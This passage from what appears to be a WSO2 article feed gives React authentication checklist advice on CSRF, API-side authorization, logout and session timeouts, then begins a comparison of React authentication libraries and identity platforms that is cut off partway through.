<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="13-if-you-use-cookies-protect-against-cross-site-requests">13. If you use cookies, protect against cross-site requests<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#13-if-you-use-cookies-protect-against-cross-site-requests" class="hash-link" aria-label="Direct link to 13. If you use cookies, protect against cross-site requests" title="Direct link to 13. If you use cookies, protect against cross-site requests" translate="no">​</a></h3>
<p>If your application uses the backend model described earlier, authentication may rely on a session cookie instead of exposing OAuth tokens to React.</p>
<p>That changes the browser security model.</p>
<p>The browser can automatically attach cookies to requests, which means another website may try to make the user's browser send an authenticated request to your application.</p>
<p>This class of attack is usually called <strong>Cross-Site Request Forgery</strong>, or CSRF.</p>
<p>Cookie attributes such as <code>Secure</code>, <code>HttpOnly</code>, and <code>SameSite</code> are important.</p>
<p><code>Secure</code> ensures the cookie is only sent over HTTPS.</p>
<p><code>HttpOnly</code> prevents normal JavaScript from directly reading it.</p>
<p><code>SameSite</code> controls when the browser sends the cookie with cross-site requests.</p>
<p>For a BFF-style architecture, <code>SameSite=Strict</code> provides strong protection where your application architecture allows it.</p>
<p>But <code>SameSite</code> should not automatically be treated as your entire CSRF design. Applications spread across subdomains or different origins need more careful handling.</p>
<p>Depending on the architecture, additional protection can include anti-forgery tokens, strict CORS configuration, or requiring a custom request header that another origin cannot send without passing a CORS preflight.</p>
<p><strong>Verify:</strong> inspect the <code>Set-Cookie</code> header used for your authenticated session.</p>
<p>Check the values of <code>Secure</code>, <code>HttpOnly</code>, <code>SameSite</code>, <code>Domain</code>, and <code>Path</code>.</p>
<p>Then confirm what actually prevents another website from submitting a state-changing request through the authenticated browser.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="authorization-belongs-in-the-api">Authorization belongs in the API<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#authorization-belongs-in-the-api" class="hash-link" aria-label="Direct link to Authorization belongs in the API" title="Direct link to Authorization belongs in the API" translate="no">​</a></h2>
<p>React needs authorization information so it can show the right interface.</p>
<p>The final security decision still belongs on the server.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="14-hiding-a-button-is-not-authorization">14. Hiding a button is not authorization<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#14-hiding-a-button-is-not-authorization" class="hash-link" aria-label="Direct link to 14. Hiding a button is not authorization" title="Direct link to 14. Hiding a button is not authorization" translate="no">​</a></h3>
<p>This is normal React code:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">isAdmin </span><span class="token operator" style="color:rgb(12, 150, 155)">&amp;&amp;</span><span class="token plain"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">AdminPanel</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>If the user is not an administrator, there is no reason to show them an administrator button.</p>
<p>That is good UI behavior.</p>
<p>It is not access control.</p>
<p>The user controls their browser. They can modify frontend state, change JavaScript, or simply call your API without opening the React application.</p>
<p>For every sensitive action, the API needs to independently decide whether the authenticated user is allowed to perform it.</p>
<p><strong>Verify:</strong> identify your role-based conditional rendering and route guards.</p>
<p>For each sensitive action behind them, find the corresponding authorization check in the API.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="15-do-not-trust-object-ids-coming-from-react">15. Do not trust object IDs coming from React<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#15-do-not-trust-object-ids-coming-from-react" class="hash-link" aria-label="Direct link to 15. Do not trust object IDs coming from React" title="Direct link to 15. Do not trust object IDs coming from React" translate="no">​</a></h3>
<p>Assume your profile page calls:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">GET /users/42</span><br></span></code></pre></div></div>
<p>The user changes that to:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">GET /users/43</span><br></span></code></pre></div></div>
<p>What happens?</p>
<p>The fact that the caller asked for user 43 does not mean the caller is allowed to see user 43.</p>
<p>The API needs to take the authenticated identity and decide whether that identity can access the requested object.</p>
<p>This problem is not limited to user IDs. It also applies to <code>/orders/1024</code>, <code>/tenants/acme</code>, <code>/documents/239</code>, and <code>/projects/81</code>.</p>
<p>Any identifier coming from the frontend should be treated as a request to access something, not proof that access is allowed.</p>
<p><strong>Verify:</strong> log in as one test user and change an object identifier to one belonging to another user.</p>
<p>Do the same for update and delete operations, not only reads.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="16-protected-routes-protect-the-ui">16. Protected routes protect the UI<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#16-protected-routes-protect-the-ui" class="hash-link" aria-label="Direct link to 16. Protected routes protect the UI" title="Direct link to 16. Protected routes protect the UI" translate="no">​</a></h3>
<p>A React application may contain something such as:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">ProtectedRoute</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">AccountPage</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">ProtectedRoute</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><br></span></code></pre></div></div>
<p>This is useful.</p>
<p>It prevents unauthenticated users from navigating through parts of the interface they cannot use.</p>
<p>But the route guard executes in frontend code.</p>
<p>The API behind that page still needs to reject requests without valid authentication, and it also needs to reject authenticated users who do not have the required permission.</p>
<p>Think of the React route guard as user experience. Think of the API as the actual security boundary.</p>
<p><strong>Verify:</strong> choose a protected page and identify the API calls it makes.</p>
<p>Call one API without authentication, and again with a valid user who should not have access.</p>
<p>Both requests should fail at the API.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="logout-and-sessions">Logout and sessions<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#logout-and-sessions" class="hash-link" aria-label="Direct link to Logout and sessions" title="Direct link to Logout and sessions" translate="no">​</a></h2>
<p>Authentication design does not end when login succeeds.</p>
<p>Logout is where several assumptions normally become visible.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="17-know-what-logout-actually-does">17. Know what logout actually does<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#17-know-what-logout-actually-does" class="hash-link" aria-label="Direct link to 17. Know what logout actually does" title="Direct link to 17. Know what logout actually does" translate="no">​</a></h3>
<p>A simple React logout implementation may look like this:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">setUser</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token keyword null nil" style="color:rgb(12, 150, 155)">null</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token dom variable" style="color:rgb(201, 103, 101)">localStorage</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">removeItem</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>The UI is now logged out.</p>
<p>But there may still be several other things active: a login session at the identity provider, a refresh token, and access tokens that remain valid until expiry.</p>
<p>These are related but separate pieces of state.</p>
<p>Ending the identity-provider session does not automatically mean every access token previously issued becomes unusable immediately.</p>
<p>Similarly, clearing React state does not mean the identity-provider session has ended.</p>
<p>For a proper logout flow, decide what you actually want to terminate.</p>
<p>For some applications, removing the local application session is enough.</p>
<p>For others, logout should also terminate the login session at the identity provider and revoke refresh tokens.</p>
<p><strong>Verify:</strong> write down what your logout operation actually does.</p>
<p>Capture an access token, sign out, and test whether that token is still accepted by your API.</p>
<p>Also sign out and then immediately start login again. If the identity provider signs the user in without any interaction, the provider session may still be active.</p>
<p>That may be intended, but it should be something you chose rather than discovered later.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="18-test-logout-with-more-than-one-tab">18. Test logout with more than one tab<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#18-test-logout-with-more-than-one-tab" class="hash-link" aria-label="Direct link to 18. Test logout with more than one tab" title="Direct link to 18. Test logout with more than one tab" translate="no">​</a></h3>
<p>Users open multiple tabs.</p>
<p>If the user signs out from one tab, another tab may still show the application as authenticated.</p>
<p>Eventually its API calls may begin failing, but until that happens the UI can remain in a stale state.</p>
<p>React applications can synchronize logout state using mechanisms such as <code>BroadcastChannel</code>, storage events, or SDK-provided session events.</p>
<p>The exact implementation depends on how your authentication state is stored.</p>
<p><strong>Verify:</strong> open the application in two tabs.</p>
<p>Sign out in the first tab and watch the second one.</p>
<p>It should respond to the logout instead of continuing indefinitely with stale authentication state.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="19-configure-how-long-sessions-can-live">19. Configure how long sessions can live<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#19-configure-how-long-sessions-can-live" class="hash-link" aria-label="Direct link to 19. Configure how long sessions can live" title="Direct link to 19. Configure how long sessions can live" translate="no">​</a></h3>
<p>There are two different limits worth considering.</p>
<p>An <strong>idle timeout</strong> ends the session when the user has been inactive for a period of time.</p>
<p>An <strong>absolute timeout</strong> ends the session after a maximum amount of time, even if the user remains active.</p>
<p>They solve different problems.</p>
<p>An idle timeout helps with the unattended browser.</p>
<p>An absolute timeout prevents a session from continuing forever simply because activity keeps occurring.</p>
<p>There is no single timeout value that fits every React application. A consumer application and an application handling financial or administrative data may reasonably have very different requirements.</p>
<p>The important part is that these values are deliberate.</p>
<p><strong>Verify:</strong> check the session configuration at your identity provider and application.</p>
<p>Also test what happens when a session expires while the user is actively using the application. The result should normally be a clean transition back to authentication rather than a page full of failed API requests.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="before-you-ship">Before you ship<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#before-you-ship" class="hash-link" aria-label="Direct link to Before you ship" title="Direct link to Before you ship" translate="no">​</a></h2>
<p>There are two more things worth checking even though they are not part of the authentication protocol itself.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="development-configuration">Development configuration<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#development-configuration" class="hash-link" aria-label="Direct link to Development configuration" title="Direct link to Development configuration" translate="no">​</a></h3>
<p>Authentication code tends to accumulate temporary debugging.</p>
<p>For example:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token console class-name" style="color:rgb(17, 17, 17)">console</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">log</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">accessToken</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token console class-name" style="color:rgb(17, 17, 17)">console</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">log</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">user</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>That may be useful while developing and something you do not want in production.</p>
<p>Also check for development identity-provider URLs, test tenants, temporary client IDs, authentication bypasses, test users, and verbose SDK logging.</p>
<p>Do not assume your build process removes everything automatically.</p>
<p>Search for them before release.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="dependencies">Dependencies<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#dependencies" class="hash-link" aria-label="Direct link to Dependencies" title="Direct link to Dependencies" translate="no">​</a></h3>
<p>Your authentication code runs in the same browser environment as the rest of the application.</p>
<p>A vulnerable or compromised dependency can therefore become part of the authentication threat model as well.</p>
<p>Run dependency scanning as part of CI rather than only when somebody happens to remember.</p>
<p>Tools such as <code>npm audit</code> are useful here.</p>
<p>Automated dependency updates are useful as well, but they still need testing, especially for authentication libraries where a small behavior change can affect login or session handling.</p>
<p>Also delete packages you no longer use.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="keep-authentication-policy-outside-react">Keep authentication policy outside React<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#keep-authentication-policy-outside-react" class="hash-link" aria-label="Direct link to Keep authentication policy outside React" title="Direct link to Keep authentication policy outside React" translate="no">​</a></h2>
<p>Some authentication features should normally be controlled by your identity platform rather than implemented separately inside each React application.</p>
<p>As an example: multi-factor authentication, step-up authentication for sensitive actions, password policies, account recovery, brute-force protection, and authentication based on device or risk signals.</p>
<p>Your React application may need to start or respond to these flows.</p>
<p>It should not need to implement the security mechanism itself.</p>
<p>Assume you later decide that changing a bank account number requires an additional authentication step.</p>
<p>Ideally, you should be able to change that policy at the identity layer without building your own MFA mechanism inside the React application.</p>
<p>This also makes authentication reusable. If you have five applications, the authentication policy remains in one place rather than becoming five separate implementations.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="common-problems-to-check">Common problems to check<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#common-problems-to-check" class="hash-link" aria-label="Direct link to Common problems to check" title="Direct link to Common problems to check" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="users-get-logged-out-occasionally-and-nobody-can-reproduce-it">Users get logged out occasionally and nobody can reproduce it<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#users-get-logged-out-occasionally-and-nobody-can-reproduce-it" class="hash-link" aria-label="Direct link to Users get logged out occasionally and nobody can reproduce it" title="Direct link to Users get logged out occasionally and nobody can reproduce it" translate="no">​</a></h3>
<p>Check whether several failed API requests can start token refresh at the same time.</p>
<p>This becomes particularly important when refresh-token rotation is enabled.</p>
<p>See rules 7 and 9.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="we-use-an-httponly-cookie-so-xss-cannot-affect-authentication">We use an HttpOnly cookie, so XSS cannot affect authentication<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#we-use-an-httponly-cookie-so-xss-cannot-affect-authentication" class="hash-link" aria-label="Direct link to We use an HttpOnly cookie, so XSS cannot affect authentication" title="Direct link to We use an HttpOnly cookie, so XSS cannot affect authentication" translate="no">​</a></h3>
<p>An HttpOnly cookie prevents JavaScript from directly reading that cookie.</p>
<p>That is useful, but injected JavaScript may still be able to make authenticated requests because the browser attaches the cookie.</p>
<p>See rules 10 and 13.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="logout-works-because-react-clears-the-user">Logout works because React clears the user<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#logout-works-because-react-clears-the-user" class="hash-link" aria-label="Direct link to Logout works because React clears the user" title="Direct link to Logout works because React clears the user" translate="no">​</a></h3>
<p>That proves the front-end state was cleared.</p>
<p>It does not tell you whether the identity-provider session, refresh token, or existing access tokens were affected.</p>
<p>See rule 17.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="everything-works-locally-but-authentication-fails-in-production">Everything works locally but authentication fails in production<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#everything-works-locally-but-authentication-fails-in-production" class="hash-link" aria-label="Direct link to Everything works locally but authentication fails in production" title="Direct link to Everything works locally but authentication fails in production" translate="no">​</a></h3>
<p>Check the issuer and endpoint configuration, redirect URL, origin configuration, and environment-specific client settings.</p>
<p>See rules 4 and 5.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="if-you-only-check-four-things">If you only check four things<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#if-you-only-check-four-things" class="hash-link" aria-label="Direct link to If you only check four things" title="Direct link to If you only check four things" translate="no">​</a></h2>
<p>Nineteen items can look like a lot if you already have an application running.</p>
<p>If I had to start with four, I would check these first.</p>
<p><strong>1. Does the OAuth token need to be in React at all?</strong> If you already have a backend, consider whether the authentication state can stay there.</p>
<p><strong>2. Can more than one refresh happen at the same time?</strong> This is easy to miss and can produce difficult-to-reproduce logout problems.</p>
<p><strong>3. Is authorization enforced by the API?</strong> Anything that exists only in React is UI behavior, not the final security decision.</p>
<p><strong>4. What really happens when the user signs out?</strong> Check the frontend session, identity-provider session, refresh token, and existing access tokens separately.</p>
<p>After that, work through the remaining items against your own application.</p>
<p>The important part is not whether an SDK documentation page says the feature is supported. It is whether you can verify what your application is actually doing.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-your-authentication-sdk-should-handle">What your authentication SDK should handle<a href="https://wso2.com/identity-platform/learn/react-authentication-best-practices-checklist#what-your-authentication-sdk-should-handle" class="hash-link" aria-label="Direct link to What your authentication SDK should handle" title="Direct link to What your authentication SDK should handle" translate="no">​</a></h2>
<p>A good React authentication SDK should remove a lot of protocol-level work from your application.</p>
<p>For example, the SDK should normally handle things such as starting the login flow, generating PKCE values, processing the authorization response, validating the authentication result, maintaining authentication state, obtaining access tokens, and performing logout against the identity provider where configured.</p>
<p>It should also give you a clear way to control how browser-side authentication state is stored.</p>
<p>But there is an important boundary here.</p>
<p>An authentication SDK cannot secure everything around authentication.</p>
<p>Your application still owns browser security, including CSP and safe rendering of untrusted content. Your APIs still own authorization. If you use cookie-based sessions or a BFF, your architecture still needs proper CSRF protection. Your application also needs to handle concurrent API calls, expired sessions, multi-tab behavior, and the user experience around authentication failures.</p>
<p>With <strong>WSO2 Identity Platform</strong>, the React and browser SDKs are intended to handle the OAuth and OpenID Connect mechanics so that application developers do not need to implement these flows directly. The exact behavior depends on the SDK version and configuration, so check the current SDK documentation when deciding things such as storage, token handling, and logout behavior.</p>
<p>The main point is to keep that boundary clear: let the identity platform and SDK handle authentication mechanics, while your React application and APIs remain responsible for the security decisions that belong to them.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[Best Authentication Libraries for React in 2026]]></title>
            <link>https://wso2.com/identity-platform/learn/best-authentication-libraries-react</link>
            <guid>https://wso2.com/identity-platform/learn/best-authentication-libraries-react</guid>
            <pubDate>Tue, 15 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[An honest comparison of React authentication libraries and platforms: Better Auth, Clerk, Auth0, Supabase, WSO2 and more, with real trade-offs.]]></description>
            <content:encoded><![CDATA[<p>There are many ways to add authentication to a React application, but they do not all solve the same problem.</p>
<p>Some are libraries that run as part of your application. Some give you a React SDK connected to a managed identity service. Others are complete identity servers that you deploy independently and connect to your React application.</p>
<p>This distinction matters because choosing an authentication library is rarely just about getting a login page working. The choice also determines where your identity layer lives, who operates it, how easily it can be shared across applications and APIs, which protocols you can use later, and how much control you retain as the system grows.</p>
<p>In this post, I will compare 9 options React developers are likely to encounter in 2026:</p>
<p>Better Auth, Auth.js, Clerk, Auth0, Supabase Auth, Keycloak, WSO2 Identity Server, ThunderID, and MSAL React.</p>
<p>A React authentication library can solve login for one application. The harder decision is whether authentication should remain part of that application or become a reusable identity layer shared by everything around it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-are-we-comparing">What are we comparing?<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#what-are-we-comparing" class="hash-link" aria-label="Direct link to What are we comparing?" title="Direct link to What are we comparing?" translate="no">​</a></h2>
<p>The term "authentication library" is used quite loosely.</p>
<p>Better Auth and Auth.js are closest to what developers traditionally mean by a library. You install them into your application and operate the authentication backend as part of your own stack.</p>
<p>Clerk and Auth0 give you React SDKs, but authentication ultimately depends on identity services operated by those vendors.</p>
<p>Supabase Auth sits inside the broader Supabase application platform, although its authentication service can also be self-hosted.</p>
<p>Keycloak, WSO2 Identity Server, and ThunderID are standalone identity servers. The React SDK or OIDC client is only the application-facing part of a larger identity system.</p>
<p>MSAL React is slightly different again. It is a React library specifically for applications authenticating through Microsoft Entra ID.</p>
<p>For a React developer, however, all of them can appear during the same search: "What should I add to my React application for authentication?"</p>
<p>That is the scope I am using here.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="start-with-where-identity-will-live">Start with where identity will live<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#start-with-where-identity-will-live" class="hash-link" aria-label="Direct link to Start with where identity will live" title="Direct link to Start with where identity will live" translate="no">​</a></h2>
<p>Before comparing hooks, components, or quickstarts, I would first decide where you want identity to live.</p>
<p>For a small application, keeping authentication inside the application stack can be completely reasonable. There is less infrastructure to introduce, and a library can give you the functionality you need without operating a separate identity server.</p>
<p>The question becomes more interesting as the application grows.</p>
<p>Identity usually stops being a concern of one frontend. Multiple applications may need the same users. APIs need tokens. B2B customers may need their own organizations and administrators. Enterprise customers start asking for SAML or OIDC federation and SCIM provisioning. Agents and workloads may also need identities of their own.</p>
<p>At that point, identity increasingly becomes reusable infrastructure rather than application code.</p>
<p>Deployment matters as well.</p>
<p>A managed service removes much of the operational responsibility, but you accept the provider's deployment model, pricing, service boundaries, and commercial terms.</p>
<p>A self-hosted identity server gives you more control, but you are responsible for availability, upgrades, databases, security patches, backup and recovery, certificates, monitoring, and capacity.</p>
<p>These are different architectural choices, even when the React code needed to call <code>signIn()</code> looks very similar.</p>
<p>Here is the high-level comparison.</p>
<table><thead><tr><th><strong>Product</strong></th><th><strong>Type</strong></th><th><strong>Deployment</strong></th><th><strong>React integration</strong></th><th><strong>Broader identity direction</strong></th></tr></thead><tbody><tr><td>Better Auth</td><td>Application authentication library</td><td>Runs with your application</td><td>First-party React client</td><td>Organizations, SSO and SCIM through framework/plugins</td></tr><tr><td>Auth.js</td><td>Application authentication library</td><td>Runs with your application/backend</td><td>React support through Auth.js/NextAuth model</td><td>Primarily application authentication</td></tr><tr><td>Clerk</td><td>Managed identity platform</td><td>SaaS</td><td>First-party React SDK and UI components</td><td>Organizations, SSO and enterprise features</td></tr><tr><td>Auth0</td><td>Managed identity platform</td><td>SaaS, with private deployment options at Enterprise level</td><td>First-party React SDK</td><td>Organizations, enterprise federation, SCIM and broader IAM</td></tr><tr><td>Supabase Auth</td><td>Authentication service within Supabase</td><td>Managed or self-hosted</td><td>supabase-js</td><td>Primarily application authentication</td></tr><tr><td>Keycloak</td><td>Open-source identity server</td><td>Self-hosted</td><td>OIDC / keycloak-js</td><td>Organizations, federation and broad IAM protocol support</td></tr><tr><td><strong>WSO2 Identity Server</strong></td><td><strong>Open-source identity server</strong></td><td><strong>Self-hosted, while WSO2 Identity Platform is also available as SaaS and private cloud</strong></td><td><strong>First-party React SDK and components</strong></td><td><strong>Hierarchical B2B organizations, enterprise IAM and agent identity</strong></td></tr><tr><td><strong>ThunderID</strong></td><td><strong>Open-source identity stack</strong></td><td><strong>Self-hosted</strong></td><td><strong>First-party React SDK</strong></td><td><strong>Agent identity, GitOps, OUs and newer identity architectures</strong></td></tr><tr><td>MSAL React</td><td>Microsoft client library</td><td>React application backed by Microsoft Entra ID</td><td>First-party React SDK</td><td>Determined by the connected Entra ID tenant</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="better-auth">Better Auth<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#better-auth" class="hash-link" aria-label="Direct link to Better Auth" title="Direct link to Better Auth" translate="no">​</a></h3>
<p>Better Auth is a TypeScript authentication framework that runs with your application rather than requiring a separate hosted identity provider. Vercel acquired Better Auth in July 2026, with the project continuing as open source and framework-agnostic software.</p>
<p>For React, Better Auth provides a first-party client and can be used without Next.js. It has also expanded beyond basic login, with support around organizations, enterprise SSO, SCIM, OAuth and OpenID Connect provider functionality, and other authentication capabilities.</p>
<p>The more important distinction is architectural.</p>
<p>Better Auth makes authentication part of your application stack. This can work well when authentication belongs primarily to one application and you want to own the implementation and data rather than depend on a hosted identity service.</p>
<p>The trade-off becomes more visible later.</p>
<p>Once several applications, APIs, services, or organizations need to share the same identity layer, having authentication embedded inside one application architecture can become a constraint. You may eventually want identity to become its own independently operated and reusable component.</p>
<p>This is not necessarily a weakness in Better Auth itself. It is largely a consequence of choosing an application authentication library rather than a standalone identity platform.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="authjs">Auth.js<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#authjs" class="hash-link" aria-label="Direct link to Auth.js" title="Direct link to Auth.js" translate="no">​</a></h3>
<p>Auth.js, formerly NextAuth.js, has been widely used for authentication in Next.js applications. Maintenance of the project has now moved to the Better Auth team, with existing deployments continuing to receive maintenance while Better Auth is the recommended direction for many new applications.</p>
<p>Auth.js can be used outside Next.js, but its architecture remains closely associated with server-side authentication endpoints.</p>
<p>For a plain client-side React application, you therefore need a backend environment to host those authentication routes rather than treating Auth.js as a completely standalone SPA authentication package.</p>
<p>For an existing Auth.js application, there may be no reason to move simply because another project exists.</p>
<p>For a new plain React application, I would compare the additional backend integration with the alternatives before choosing it.</p>
<p>There is also the same longer-term architectural consideration as Better Auth. Authentication becomes part of your application stack. If identity later needs to be reused across multiple applications, APIs, or services, separating it into an independent identity layer becomes another architecture change you need to make.</p>
<p>Again, that does not make Auth.js a bad authentication library. It means you should understand whether you are solving application authentication or establishing an identity platform that other systems will eventually need to consume.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="clerk">Clerk<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#clerk" class="hash-link" aria-label="Direct link to Clerk" title="Direct link to Clerk" translate="no">​</a></h3>
<p>Clerk is a managed identity service with first-party React tooling. Its React SDK provides hooks together with prebuilt authentication and user-management components, and it also supports capabilities such as Organizations and enterprise SSO.</p>
<p>For a React application, this can reduce the amount of authentication infrastructure you need to build and operate.</p>
<p>The important architectural decision is what sits behind the SDK.</p>
<p>Clerk operates the identity service for you. This removes infrastructure work, but it also means your application's identity layer depends on Clerk's cloud service, pricing model, service boundaries, and feature tiers.</p>
<p>You therefore do not have the same deployment control as you would with an identity system that can also run inside your own infrastructure.</p>
<p>This may not matter for many applications. But if usage grows significantly, commercial terms become part of the architecture decision. The same applies if a future customer requires a deployment model that the service does not provide.</p>
<p>The React integration is therefore only one part of the decision. You are also choosing the cloud identity service behind it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="auth0">Auth0<a href="https://wso2.com/identity-platform/learn/best-authentication-libraries-react#auth0" class="hash-link" aria-label="Direct link to Auth0" title="Direct link to Auth0" translate="no">​</a></h3>
<p>Auth0 provides a managed identity platform and a dedicated React SDK for single-page applications. It supports OAuth 2.0, OpenID Connect, enterprise federation, Organizations, SCIM, and a broad set of enterprise identity capabilities.</p>
<p>For most teams, Auth0 is consumed as a vendor-operated identity service.</p>
<p>That removes much of the infrastructure work from the application team, but the same general trade-off as Clerk applies: your identity layer depends on the provider's service, pricing model, deployment options, and feature tiers.</p>
